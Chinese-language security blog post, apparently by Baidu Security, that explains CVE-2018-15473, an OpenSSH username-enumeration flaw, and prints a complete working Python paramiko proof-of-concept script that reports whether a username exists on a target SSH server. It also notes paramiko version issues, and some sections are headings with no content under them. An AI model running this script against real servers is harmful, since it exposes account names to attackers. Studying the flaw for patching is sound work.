2019-07-29 10:46:5125729人阅读
OpenSSH是SSH(Secure SHell)协议的免费开源实现。SSH协议族可以用来进行远程控制,或在计算机之间传送文件。而实现此功能的传统方式,如telnet(终端仿真协议)、rcp、ftp、rlogin、rsh都是极为不安全的,并且会使用明文传送密码。OpenSSH提供了服务端后台程序和客户端工具,用来加密远程控制和文件传输过程中的数据,并由此来代替原来的类似服务。
根据CVE-2018-15473,OpenSSH的2.3到7.7版本存在一个用户名枚举的漏洞。我检查了目前主流在用的centos和ubuntu,其自带的版本集中在v7.2到v7.4,也就是说都会受到该漏洞的影响。
下面以Ubuntu / 16.04 LTS为例,展示该漏洞的利用方法和原理,python版本Python 2.7.15。
POC代码如下:
import argparse
import logging
import paramiko
import socket
import sys
class InvalidUsername(Exception):
pass
def add_boolean(*args, **kwargs):
pass
old_service_accept = paramiko.auth_handler.AuthHandler._handler_table[
paramiko.common.MSG_SERVICE_ACCEPT]
def service_accept(*args, **kwargs):
paramiko.message.Message.add_boolean = add_boolean
return old_service_accept(*args, **kwargs)
def userauth_failure(*args, **kwargs):
raise InvalidUsername()
paramiko.auth_handler.AuthHandler._handler_table.update({
paramiko.common.MSG_SERVICE_ACCEPT: service_accept,
paramiko.common.MSG_USERAUTH_FAILURE: userauth_failure
})
logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())
arg_parser = argparse.ArgumentParser()
arg_parser.add_argument('hostname', type=str)
arg_parser.add_argument('--port', type=int, default=22)
arg_parser.add_argument('username', type=str)
args = arg_parser.parse_args()
sock = socket.socket()
try:
sock.connect((args.hostname, args.port))
except socket.error:
print '[-] Failed to connect'
sys.exit(1)
transport = paramiko.transport.Transport(sock)
try:
transport.start_client()
except paramiko.ssh_exception.SSHException:
print '[-] Failed to negotiate SSH transport'
sys.exit(2)
try:
transport.auth_publickey(args.username, paramiko.RSAKey.generate(2048))
except InvalidUsername:
print '[*] Invalid username'
sys.exit(3)
except paramiko.ssh_exception.AuthenticationException:
print '[+] Valid username'
核心代码:
该漏洞的主要原因是在调用其他函数之后,才对输入进行验证。
关于这个PoC,对所使用的paramiko版本有要求。根据验证,在v1.18.3上可以复现,但v2.6.0会报错。
通过查看change log,在paramiko的高版本中,移除了__getitem__,导致报错。
低版本的该类属性:
高版本:
本文由百度安全原创,转载请注明出处及原文链接